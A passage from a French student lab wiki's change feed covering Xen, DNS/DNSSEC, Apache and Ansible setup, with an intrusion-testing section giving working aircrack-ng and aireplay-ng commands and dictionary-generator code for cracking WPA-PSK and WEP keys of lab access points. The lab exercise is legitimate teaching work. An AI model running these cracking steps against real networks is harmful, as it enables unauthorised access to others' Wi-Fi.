Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51770</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51770"/>
				<updated>2019-12-10T08:42:44Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
